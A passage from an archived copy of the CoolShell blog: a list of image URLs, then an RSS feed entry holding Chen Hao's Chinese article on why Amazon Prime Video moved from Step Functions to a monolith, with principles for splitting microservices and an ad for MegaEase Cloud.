wp-content/uploads/2017/07/performance_review-360x200.jpg\nhttps://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\nhttps://coolshell.cn/wp-content/uploads/2017/07/systemd.jpeg\nhttps://coolshell.cn/wp-content/uploads/2017/07/systemd_shewantsit.jpg\nhttps://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner.png\nhttps://coolshell.cn/wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg\nhttps://coolshell.cn/wp-content/uploads/2017/09/react_patent-360x200.jpg\nhttps://coolshell.cn/wp-content/uploads/2017/10/golang.01.png\nhttps://coolshell.cn/wp-content/uploads/2017/10/golang.02.png\nhttps://coolshell.cn/wp-content/uploads/2017/10/golang.docker-360x200.png\nhttps://coolshell.cn/wp-content/uploads/2017/12/ride_or_die.jpg\nhttps://coolshell.cn/wp-content/uploads/2018/01/geekbang-300x300.jpg\nhttps://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\nhttps://coolshell.cn/wp-content/uploads/2018/05/专栏-300x262.jpg\nhttps://coolshell.cn/wp-content/uploads/2018/05/专栏.jpg\nhttps://coolshell.cn/wp-content/uploads/2018/05/个人成长和经验之谈-319x1024.png\nhttps://coolshell.cn/wp-content/uploads/2018/05/分布式架构的本质.png\nhttps://coolshell.cn/wp-content/uploads/2018/05/分布式架构设计模式-弹力篇.png\nhttps://coolshell.cn/wp-content/uploads/2018/05/分布式架构设计模式-性能篇.png\nhttps://coolshell.cn/wp-content/uploads/2018/05/分布式架构设计模式-管理篇.png\nhttps://coolshell.cn/wp-content/uploads/2018/05/区块链技术.png\nhttps://coolshell.cn/wp-content/uploads/2018/05/程序员练级攻略.png\nhttps://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1.png\nhttps://coolshell.cn/wp-content/uploads/2018/12/tcpdump.png\nhttps://coolshell.cn/wp-content/uploads/2019/02/cross.road_-300x200.jpg\nhttps://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_.png\nhttps://coolshell.cn/wp-content/uploads/2019/04/06-01.Developers.Rols_-1024x259.png\nhttps://coolshell.cn/wp-content/uploads/2019/04/06-02.Coding.as_.a.Hobby_.png\nhttps://coolshell.cn/wp-content/uploads/2019/04/06-03.Years_.Since_.Learning.to_.Code_.png\nhttps://coolshell.cn/wp-content/uploads/2019/04/06-04.Years_.Coding.Professionally.png\nhttps://coolshell.cn/wp-content/uploads/2019/04/06-05.Age_-1024x710.png\nhttps://coolshell.cn/wp-content/uploads/2019/04/06-06.Popular.Languages-669x1024.png\nhttps://coolshell.cn/wp-content/uploads/2019/04/06-07.Loved_.Languages-679x1024.png\nhttps://coolshell.cn/wp-content/uploads/2019/04/06-08.Technology.Circle-1024x1024.png\nhttps://coolshell.cn/wp-content/uploads/2019/04/07-09.Hours_.Worked.Per_.Week_-1024x640.png\nhttps://coolshell.cn/wp-content/uploads/2019/04/2019-Dev-Survey-Blog-360x200.png\nhttps://coolshell.cn/wp-content/uploads/2019/04/busy.work_-300x166-1-150x150.jpg\nhttps://coolshell.cn/wp-content/uploads/2019/04/busy.work_-300x166.jpg\nhttps://coolshell.cn/wp-content/uploads/2019/04/hard.work_-1024x576.jpg\nhttps://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200.png\nhttps://coolshell.cn/wp-content/uploads/2019/05/MAC-1024x634.png\nhttps://coolshell.cn/wp-content/uploads/2019/05/auth_code_flow.png\nhttps://coolshell.cn/wp-content/uploads/2019/05/client_credentials_flow.png\nhttps://coolshell.cn/wp-content/uploads/2019/05/oauth_graph.gif\nhttps://coolshell.cn/wp-content/uploads/2019/05/oauth_singature.png\nhttps://coolshell.cn/wp-content/uploads/2019/05/sigV4-using-query-params.png\nhttps://coolshell.cn/wp-content/uploads/2019/05/wechat.dev_-1024x876.png\nhttps://coolshell.cn/wp-content/uploads/2019/06/competition-360x200-1-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2019/06/competition-360x200.png\nhttps://coolshell.cn/wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\nhttps://coolshell.cn/wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766.jpg\nhttps://coolshell.cn/wp-content/uploads/2019/07/AGC.DSKY_.png\nhttps://coolshell.cn/wp-content/uploads/2019/07/DSKY.png\nhttps://coolshell.cn/wp-content/uploads/2019/07/Lin-Clark-e1563706128853.jpg\nhttps://coolshell.cn/wp-content/uploads/2019/07/rope.memory.png\nhttps://coolshell.cn/wp-content/uploads/2019/07/source.code_.compare.png\nhttps://coolshell.cn/wp-content/uploads/2019/10/HOL_blocking.png\nhttps://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\nhttps://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200.jpg\nhttps://coolshell.cn/wp-content/uploads/2019/10/http-request-over-quic@2x-300x215.png\nhttps://coolshell.cn/wp-content/uploads/2019/10/http-request-over-tcp-tls@2x-292x300.png\nhttps://coolshell.cn/wp-content/uploads/2019/11/ken.chess_.jpg\nhttps://coolshell.cn/wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\nhttps://coolshell.cn/wp-content/uploads/2019/11/ken.dennis-300x186.jpeg\nhttps://coolshell.cn/wp-content/uploads/2019/12/logical-smart-intelligence-200x200.png\nhttps://coolshell.cn/wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg\nhttps://coolshell.cn/wp-content/uploads/2019/12/open-your-creative-mind-300x198.jpg\nhttps://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\nhttps://coolshell.cn/wp-content/uploads/2020/01/remote-300x177.jpg\nhttps://coolshell.cn/wp-content/uploads/2020/02/MESI.png\nhttps://coolshell.cn/wp-content/uploads/2020/02/The-cache-coherence-problem-Initially-processors-0-and-1-both-read-location-x.png\nhttps://coolshell.cn/wp-content/uploads/2020/02/cache-associative-fill-both.png\nhttps://coolshell.cn/wp-content/uploads/2020/02/cache.architecture.png\nhttps://coolshell.cn/wp-content/uploads/2020/03/L1CacheExample.png\nhttps://coolshell.cn/wp-content/uploads/2020/03/cpu_512x512-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2020/03/cpu_512x512-300x300.png\nhttps://coolshell.cn/wp-content/uploads/2020/03/false.sharing-1024x643.png\nhttps://coolshell.cn/wp-content/uploads/2020/03/indy.gif\nhttps://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\nhttps://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-360x200.jpg\nhttps://coolshell.cn/wp-content/uploads/2020/03/selectingCacheLine.png\nhttps://coolshell.cn/wp-content/uploads/2020/06/time-bomb-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2020/06/time-bomb-300x300.png\nhttps://coolshell.cn/wp-content/uploads/2020/08/learning.pyrimid.jpg\nhttps://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-196x300.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/baidu-300x169.jpg\nhttps://coolshell.cn/wp-content/uploads/2020/12/err-check-300x186.jpg\nhttps://coolshell.cn/wp-content/uploads/2020/12/go.generate-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/go.generate-296x300.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/go.k8s-265x300.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/go.line_.-1024x191.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/go.line_.-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-300x192.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/go.options-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/go.options-300x186.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/go.pair_-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/go.pair_-300x298.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/go.slices-300x169.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/go.slices.append-1024x513.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/map-reduce.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/pipeline-1024x425.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/slice1-300x190.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/slice2.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/slice4-1024x740.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/type01-300x225.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/type02-300x225.png\nhttps://coolshell.cn/wp-content/uploads/2020/12/type03-300x226.png\nhttps://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\nhttps://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169.jpeg\nhttps://coolshell.cn/wp-content/uploads/2021/07/截屏2021-07-13-12.53.33.png\nhttps://coolshell.cn/wp-content/uploads/2021/09/go-generics-1024x512.png\nhttps://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2021/11/1637305049427-1024x329.jpg\nhttps://coolshell.cn/wp-content/uploads/2021/11/1637307319589.jpg\nhttps://coolshell.cn/wp-content/uploads/2021/11/1637308847435.jpg\nhttps://coolshell.cn/wp-content/uploads/2021/11/1637308872541.jpg\nhttps://coolshell.cn/wp-content/uploads/2021/11/1637310735683-1024x923.jpg\nhttps://coolshell.cn/wp-content/uploads/2021/11/il_340x270_pggv-150x150.jpg\nhttps://coolshell.cn/wp-content/uploads/2021/11/il_340x270_pggv.jpg\nhttps://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x.png\nhttps://coolshell.cn/wp-content/uploads/2022/01/certificate-1024x532.png\nhttps://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-300x201.png\nhttps://coolshell.cn/wp-content/uploads/2022/01/key.pair_-1024x390.png\nhttps://coolshell.cn/wp-content/uploads/2022/01/middle.man_-e1641105543137.png\nhttps://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2022/02/http_method-300x169.png\nhttps://coolshell.cn/wp-content/uploads/2022/02/monitoring-1024x534.jpeg\nhttps://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\nhttps://coolshell.cn/wp-content/uploads/2022/02/quote-your-job-gives-you-authority-your-behavior-gives-you-respect-irwin-federman-73-55-75.jpeg\nhttps://coolshell.cn/wp-content/uploads/2022/05/etcd-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2022/05/etcd.png\nhttps://coolshell.cn/wp-content/uploads/2022/07/duplicate-segment.png\nhttps://coolshell.cn/wp-content/uploads/2022/07/last-ack.png\nhttps://coolshell.cn/wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg\nhttps://coolshell.cn/wp-content/uploads/2022/07/wall_clock-300x167.jpeg\nhttps://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2022/10/communication-300x168.png\nhttps://coolshell.cn/wp-content/uploads/2022/12/IMG_2399-871x1024.jpg\nhttps://coolshell.cn/wp-content/uploads/2022/12/IMG_2402.jpg\nhttps://coolshell.cn/wp-content/uploads/2022/12/covid19-150x150.jpg\nhttps://coolshell.cn/wp-content/uploads/2022/12/covid19-300x225.jpg\nhttps://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\nhttps://coolshell.cn/wp-content/uploads/2022/12/eBPF.jpeg\nhttps://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1-195x300.png\nhttps://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2-286x300.png\nhttps://coolshell.cn/wp-content/uploads/2022/12/fake-180x300.png\nhttps://coolshell.cn/wp-content/uploads/2022/12/fake.term_-223x300.png\nhttps://coolshell.cn/wp-content/uploads/2023/02/IMG_2533-300x289.jpg\nhttps://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\nhttps://coolshell.cn/wp-content/uploads/2023/02/chatgpt-300x200.jpg\nhttps://coolshell.cn/wp-content/uploads/2023/02/chatgpt.example-1024x853.jpg\nhttps://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-300x150.png\nhttps://coolshell.cn/wp-content/uploads/2023/05/monolith.microservices-150x150.png\nhttps://coolshell.cn/wp-content/uploads/2023/05/monolith.microservices-300x200.png\nhttps://coolshell.cn/wp-content/uploads/2023/05/prime.01.webp\nhttps://coolshell.cn/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif\nhttps://github.com/iovisor/bcc/raw/master/images/bcc_tracing_tools_2019.png\nhttps://images-na.ssl-images-amazon.com/images/I/41COtT-V1UL._SL160_.jpg\nhttps://images-na.ssl-images-amazon.com/images/I/41vfOvQugoL._SL160_.jpg\nhttps://imgopt.infoq.com/fit-in/1200x2400/filters:quality(80)/filters:no_upscale()/articles/gentle-linux-ebpf-introduction/en/resources/47image005-1619704397592.jpg\nhttps://lh5.googleusercontent.com/-z17zh24rw4k/TmrH2wrPSRI/AAAAAAAAADQ/Az9W5Lge3Ok/h301/Untitled-1.gif\nhttps://s.w.org/images/core/emoji/14.0.0/72x72/1f60f.png\nhttps://s.w.org/images/core/emoji/14.0.0/72x72/2122.png\nhttps://s.w.org/images/core/emoji/14.0.0/72x72/2194.png\nhttps://s.w.org/images/core/emoji/14.0.0/72x72/2195.png\nhttps://s.w.org/images/core/emoji/14.0.0/72x72/2196.png\nhttps://s.w.org/images/core/emoji/14.0.0/72x72/2197.png\nhttps://s.w.org/images/core/emoji/14.0.0/72x72/2198.png\nhttps://s.w.org/images/core/emoji/14.0.0/72x72/2199.png\nhttps://s.w.org/images/core/emoji/14.0.0/72x72/2714.png\nhttps://s3.amazonaws.com/files_desu/django-google-charts-basic.png\nhttps://sslimgs.xkcd.com/comics/goto.png\nhttps://www.ibm.com/developerworks/linux/library/l-linux-shells/figure1.gif\nhttps://www.openforum.com/media/db4cb6ac-3e35-48cc-87cb-19fe7b299c5c_detail.jpg\n"
  },
  {
    "path": "blogs/rss/feed-1.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Tue, 09 May 2023 04:25:32 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>是微服务架构不香还是云不香？</title>\n\t\t<link>https://coolshell.cn/articles/22422.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/22422.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 08 May 2023 09:52:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[系统架构]]></category>\n\t\t<category><![CDATA[AWS]]></category>\n\t\t<category><![CDATA[Lambda]]></category>\n\t\t<category><![CDATA[Microservice]]></category>\n\t\t<category><![CDATA[Serverless]]></category>\n\t\t<category><![CDATA[Step Function]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=22422</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这两天技术圈里热议的一件事就是Amazon的流媒体平台Prime Video在2023年3月22日发布了一篇技术博客《规模化Prime Video的音视频监控服...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/22422.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/22422.html\">是微服务架构不香还是云不香？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-22424\" src=\"https://coolshell.cn/wp-content/uploads/2023/05/monolith.microservices-300x200.png\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https://coolshell.cn/wp-content/uploads/2023/05/monolith.microservices-300x200.png 300w, https://coolshell.cn/wp-content/uploads/2023/05/monolith.microservices-768x512.png 768w, https://coolshell.cn/wp-content/uploads/2023/05/monolith.microservices-405x270.png 405w, https://coolshell.cn/wp-content/uploads/2023/05/monolith.microservices.png 800w\" sizes=\"(max-width: 300px) 100vw, 300px\" />这两天技术圈里热议的一件事就是Amazon的流媒体平台Prime Video在2023年3月22日发布了一篇技术博客《<a title=\"Scaling up the Prime Video audio/video monitoring service and reducing costs by 90%\" href=\"https://www.primevideotech.com/video-streaming/scaling-up-the-prime-video-audio-video-monitoring-service-and-reducing-costs-by-90\" target=\"_blank\" rel=\"noopener\">规模化Prime Video的音视频监控服务，成本降低90%</a>》，副标题：“<strong>从分布式微服务架构到单体应用程序的转变有助于实现更高的规模、弹性和降低成本</strong>”，有人把这篇文章在五一期间转到了<a href=\"https://www.reddit.com/r/programming/comments/137alxn/prime_video_switched_from_serverless_to_ec2_and/\" target=\"_blank\" rel=\"noopener\">reddit</a> 和 <a href=\"https://news.ycombinator.com/item?id=35811741\" target=\"_blank\" rel=\"noopener\">hacker news</a> 上，在Reddit上热议。这种话题与业内推崇的微服务架构形成了鲜明的对比。从“微服务架构”转“单体架构”，还是Amazon干的，这个话题足够劲爆。然后DHH在刚<a href=\"https://twitter.com/dhh/status/1655076668787097607\" target=\"_blank\" rel=\"noopener\">喷完Typescript</a>后继续发文《<a href=\"https://world.hey.com/dhh/even-amazon-can-t-make-sense-of-serverless-or-microservices-59625580\" target=\"_blank\" rel=\"noopener\">即便是亚马逊也无法理解Servless或微服务</a>》，继续抨击微服务架构，于是，瞬间引爆技术圈，登上技术圈热搜。</p>\n<p>今天上午有好几个朋友在微信里转了三篇文章给我，如下所示：</p>\n<ul>\n<li>《<a href=\"https://mp.weixin.qq.com/s/mEmz8pviahEAWy1-SA8vcg\" target=\"_blank\" rel=\"noopener\">微服务是不是个蠢主意？</a>》</li>\n<li>《<a href=\"https://mp.weixin.qq.com/s/7zm5YyeZhQ2mu2TJvOK5tQ\" target=\"_blank\" rel=\"noopener\">单体回归？亚马逊放弃用于视频监控的微服务</a> 》</li>\n<li>《<a href=\"https://mp.weixin.qq.com/s/fQtAMf4BfJxdBPWDE5ygwg\" target=\"_blank\" rel=\"noopener\">从微服务转为单体架构、成本降低 90%，亚马逊内部案例引发轰动</a>》</li>\n</ul>\n<p>看看这些标题就知道这些文章要的是流量而不是好好写篇文章。看到第二篇，你还真当 Prime Video 就是 Amazon 的全部么？然后，再看看这些文章后面的跟风评论，我觉得有 80%的人只看标题，而且是连原文都不看的。所以，我想我得写篇文章了……</p>\n<p><span id=\"more-22422\"></span></p>\n<h4>原文解读</h4>\n<p>要认清这个问题首先是要认认真真读一读原文，Amazon Prime Video 技术团队的这篇文章并不难读，也没有太多的技术细节，但核心意思如下：</p>\n<p>1）<strong>这个系统是一个监控系统，用于监控数据千条用户的点播视频流</strong>。主要是监控整个视频流运作的质量和效果（比如：视频损坏或是音频不同步等问题），这个监控主要是处理视频帧，所以，他们有一个微服务主要是用来把视频拆分成帧，并临时存在 S3 上，就是下图中的 Media Conversion 服务。</p>\n<p>2）<strong>为了快速搭建系统，Prime Video团队使用了Serverless 架构，也就是著名的 AWS Lambda 和 AWS Step Functions</strong>。前置 Lambda 用来做用户请求的网关，Step Function 用来做监控（探测器），有问题后，就发 SNS 上，Step Function 从 S3 获取 Media Conversion 的数据，然后把运行结果再汇总给一个后置的 Lambda ，并存在 S3 上。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-22423 \" src=\"https://coolshell.cn/wp-content/uploads/2023/05/prime.01.webp\" alt=\"\" width=\"624\" height=\"496\" srcset=\"https://coolshell.cn/wp-content/uploads/2023/05/prime.01.webp 1011w, https://coolshell.cn/wp-content/uploads/2023/05/prime.01-300x238.webp 300w, https://coolshell.cn/wp-content/uploads/2023/05/prime.01-768x610.webp 768w, https://coolshell.cn/wp-content/uploads/2023/05/prime.01-340x270.webp 340w\" sizes=\"(max-width: 624px) 100vw, 624px\" /></p>\n<p>整个架构看上去非常简单 ，一点也不复杂，而且使用了 Serverless 的架构，一点服务器的影子都看不见。<strong>实话实说，这样的开发不香吗？我觉得很香啊，方便快捷，完全不理那些无聊的基础设施，直接把代码转成服务，然后用 AWS 的 Lamda + Step Function + SNS + S3 分分钟就搭出一个有模有样的监控系统了，哪里不好了？！</strong></p>\n<p>但是他们遇到了一个比较大的问题，就是 AWS Step Function 的伸缩问题，从文章中我看到了两个问题（注意前方高能）：</p>\n<ol>\n<li>需要很多很多的并发的 AWS Step Function ，于是达到了帐户的 hard limit。</li>\n<li>AWS Step Function 按状态转换收费，所以，贵得受不了了。</li>\n</ol>\n<p>注意，这里有两个关键点：1）<strong>帐户对 Step Function 有限制</strong>，2）<strong>Step Function 太贵了用不起</strong>。</p>\n<p>然后，Prime Video 的团队开始解决问题，下面是解决的手段：</p>\n<p>1） 把 Media Conversion  和 Step Function 全部写在一个程序里，Media Conversion 跟 Step Function 里的东西通过内存通信，不再走S3了。结果汇总到一个线程中，然后写到 S3.</p>\n<p>2）把上面这个单体架构进行分布式部署，还是用之前的 AWS Lambda 来做入门调度。</p>\n<p>EC2 的水平扩展没有限制，而且你想买多少 CPU/MEM 的机器由你说了算，而这些视频转码，监控分析的功能感觉就不复杂，本来就应该写在一起，这么做不更香吗？当然更香，比前面的 Serverless 的确更香，因为如下的几个原因：</p>\n<ol>\n<li>不再受 Step Function 的限制了，技术在自己手里，有更大的自由度。</li>\n<li>没有昂贵的 Step Function 云成本的确变得更低了，如果你把 Lambda 换成 Nginx 或 Spring Gateway 或是我司的 <a href=\"https://github.com/megaease/easegress\" target=\"_blank\" rel=\"noopener\">Easegress</a>，你把 S3 换成 MinIO，你把 SNS 换成 Kafka，你的成本 还能再低。</li>\n</ol>\n<h4>独立思考</h4>\n<p>好了，原文解读完了，你有自己的独立思考了吗？下面是我的独立思考，供你参考：</p>\n<p>1）<strong>AWS 的 Serverless 也好， 微服务也好，单体也好，在合适的场景也都很香</strong>。这就跟汽车一样，跑车，货车，越野车各有各的场景，你用跑车拉货，还是用货车泡妞都不是一个很好的决定。</p>\n<p>2）<strong>这篇文章中的这个例子中的业务太过简单了，本来就是一两个服务就可以干完的事。</strong>就是一个转码加分析的事，要分开的话，就两个微服务就好了（一个转码一个分析），做成流式的。如果不想分，合在一起也没问题了，这个粒度是微服务没毛病。微服务的划分有好些原则，我这里只罗列几个比较重要的原则：</p>\n<ul>\n<li><strong>边界上下文</strong>。微服务的粒度不能大于领域驱动里的 Bounded Context（具体是什么 大家自行 Google），也就是一个业务域。</li>\n<li><strong>单一职责，高内聚，低耦合</strong>。把因为相同原因变化的合在一起（内聚），把不同原因变化的分开（解耦）</li>\n<li><strong>事务和一致性</strong>。对于两个重度依赖的功能，需要完成一个事务和要保证强一致性的，最好不要拆开，要放在一起。</li>\n<li><strong>跟组织架构匹配</strong>。把同一个团队的东西放在一起，不同团队的分开。</li>\n</ul>\n<p>3）<strong>Prime Video 遇到的问题不是技术问题，而是 AWS  Step Function 处理能力不足，而且收费还很贵的问题</strong>。这个是 AWS 的产品问题，不是技术问题。或者说，这个是Prime Video滥用了Step Function的问题（本来这种大量的数据分析处理就不适合Step Function）。所以，大家不要用一个产品问题来得到微服务架构有问题的结论，这个没有因果关系。<strong>试问，如果 Step Funciton 可以无限扩展，性能也很好，而且白菜价，那么 Prime Video 团队还会有动力改成单体吗？他们不会反过来吹爆 Serverless 吗？</strong></p>\n<p>4）Prime Video 跟 AWS 是两个独立核算的公司，就像 Amazon 的电商和 AWS 一样，也是两个公司。Amazon 的电商和 AWS 对服务化或是微服务架构的理解和运维，我个人认为这个世界上再也找不到另外一家公司了，包括 Google 或 Microsoft。你有空可以看看本站以前的这篇文章《<a title=\"SteveY对Amazon和Google平台的吐槽\" href=\"https://coolshell.cn/articles/5701.html\">Steve Yegg对Amazon和Google平台的吐槽</a>》你会了解的更多。</p>\n<p>5）<strong>Prime Video 这个案例本质上是“下云”，下了 AWS Serverless 的云</strong>。云上的成本就是高，一个是费用问题，另一个是被锁定的问题。Prime Video 团队应该很庆幸这个监控系统并不复杂，重写起来也很快，所以，可以很快使用一个更传统的“服务化”+“云计算”的分布式架构，不然，就得像 DHH 那样咬牙下云——《<a href=\"https://world.hey.com/dhh/why-we-re-leaving-the-cloud-654b47e0\" target=\"_blank\" rel=\"noopener\">Why We&#8217;re Leaving the Cloud</a>》（他们的 SRE 的这篇博文 <a href=\"https://dev.37signals.com/our-cloud-spend-in-2022/\" target=\"_blank\" rel=\"noopener\">Our Cloud Spend in 2022</a>说明了下云的困难和节约了多少成本）</p>\n<h4>后记</h4>\n<p>最后让我做个我自己的广告。我在过去几年的创业中，帮助了很多公司解决了这些 分布式，微服务，云原生以及云计算成本的问题，如果你也有类似问题。欢迎，跟我联系：<a href=\"mailto:haoel@hotmail.com\">haoel@hotmail.com</a></p>\n<p>另外，我们今年发布了一个平台 MegaEase Cloud，<strong> 就是想让用户在不失去云计算体验的同时，通过自建高可用基础架构的方式来获得更低的成本（至少降 50%的云计算成本）。</strong>目前可以降低成本的方式：</p>\n<ol>\n<li>基础软件：通过开源软件自建，</li>\n<li>内容分发：MinIO + Cloudflare 的免费 CDN，</li>\n<li>马上准备发布的直接与底层IDC合作的廉价GPU计算资源…</li>\n</ol>\n<p><strong>欢迎大家试用。</strong></p>\n<p><strong>如何访问</strong></p>\n<ul>\n<li>中国区:   <a href=\"https://cloud.megaease.cn\" target=\"_blank\" rel=\"noopener\">https://cloud.megaease.cn </a></li>\n<li>国际区：<a href=\"https://cloud.megaease.com\" target=\"_blank\" rel=\"noopener\">https://cloud.megaease.com</a></li>\n</ul>\n<p><strong>注：这两个区完全独立，帐号不互通。因为网络的不可抗力，千万不要跨区使用。</strong></p>\n<p><strong>产品演示</strong></p>\n<ul>\n<li><a href=\"https://www.bilibili.com/video/BV17v4y1R7mA/\" target=\"_blank\" rel=\"noopener\">https://www.bilibili.com/video/BV17v4y1R7mA/</a></li>\n</ul>\n<p><strong>介绍文章</strong></p>\n<ul>\n<li><a href=\"https://megaease.cn/zh/blog/2023/02/15/welcome-to-megaease-cloud/\" target=\"_blank\" rel=\"noopener\">欢迎使用 MegaEase Cloud </a></li>\n<li><a href=\"https://megaease.cn/zh/blog/2023/04/06/megaease-cloud-2023.03-significant-update/\" target=\"_blank\" rel=\"noopener\">2023 年 03 月重大更新</a></li>\n</ul>\n<p>&nbsp;</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" alt=\"AWS 的 S3 故障回顾和思考\" width=\"150\" height=\"150\" 